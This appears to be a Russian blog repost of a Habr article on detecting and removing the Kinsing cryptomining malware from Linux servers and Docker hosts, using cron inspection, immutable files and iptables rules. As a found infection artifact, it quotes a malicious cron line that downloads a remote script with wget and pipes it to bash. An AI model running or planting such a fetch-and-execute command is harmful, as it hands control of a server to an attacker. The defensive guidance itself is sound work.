Боремся с майнером Kinsing на зараженных серверах Linux

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Kinsing — вредоносное ПО на основе Golang, работает как агент. Основная цель данной малвари это добыча криптовалюты на взломанном сервере. Оно распространяется путем использования уязвимости в ошибке конфигурации сервисов, которые доступны извне.

Малварь может добавлять задания в запланировщик задач cron, чтобы иметь возможность переподключиться, например после перезагрузки сервера.

Как определить, что ваш сервер используется для майнинга малварью Kinsing?

Определите процессы, которые используют ресурсы процессора с помощью диспечера задач top или htop. В результате вы увидете, например, такие процессы: kdevtmpfsikinsing или dbused, которые максимально используют все ресурсы процессора.

Убить процессы отправкой сигнала KILL вы не сможете, так как со временем они запустятся снова.

Можно попытаться найти задания в запланировщике задач пользователей:

ls /var/spool/cron/

Например, у пользователя confluence обнаружена задача, позволяющая скачивать скрипт с удаленного узла с помощью wget:

* * * * * wget -q -O - http://1.2.3.4/cf.sh | bash > /dev/null 2>&1

Чтобы запретить пользователю использовать запланировщик, мы можем отключить службу crond или добавить атрибут immutable для файла. (immutable указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.)

echo > /var/spool/cron/confluence && chattr +i /var/spool/cron/confluence

Также стоит проверить файлы с переменными пользователя на наличие лишних скриптов и по возможности удалить их и добавить атрибут immutable.

Ещё одно решение это заблокировать исходящий трафик, например, если малварь использует контейнеры Docker.
В контейнерах сложнее найти процесс малвари, но мы можем определить куда обращается контейнер с помощью утилиты iptstate на хосте Docker'a.

Поиск ID контейнера:

docker ps

Поиск IP контейнера:

docker inspect CONTAINER_ID | grep -i ip

Смотрим соединения с IP-адреса контейнера:

iptstate -s CONTAINER_IP

Блокируем обращения контейнера по протоколу HTTP:

iptables -A DOCKER-USER -s 172.18.0.7/32 -p tcp -m tcp --dport 80 -j DROP

Все вышеперечисленное это временное решение, чтобы ограничить работу майнера. Своевременно обновляйте ПО и уделяйте время вопросам информационной безопасности.

Источник: https://habr.com/ru/post/582830/


Интересные статьи

Интересные статьи

Рано или поздно, каждый пэхапешник, пишущий на битриксе, начинает задумываться о том, как бы его улучшить, чтобы и всякие стандарты можно было соблюдать, и современные инструменты разработки использов...
Новость по этому поводу уже была, время подавать и сам перевод. В своем руководстве Кристиан подробно излагает каждый шаг процесса создания дистрибутива и его записи на дискету формата ...
При администрировании сервера очень важно понимать, как работают выполняемые процессы в подробностях — от высокой нагрузки до замедленного времени отклика. В случае, когд...
Раньше моей рабочей машиной был ноутбук, созданный Apple. Я мог делать на нём практически всё что угодно: разрабатывать программы, писать тексты, сочинять музыку, да и много чего ещё....
Примечание: этот пост — ироничное наблюдение на тему цикличности истории. Это самое наблюдение не несет какой-либо практической пользы, но в сути своей — весьма меткое, так что я решил, что им ст...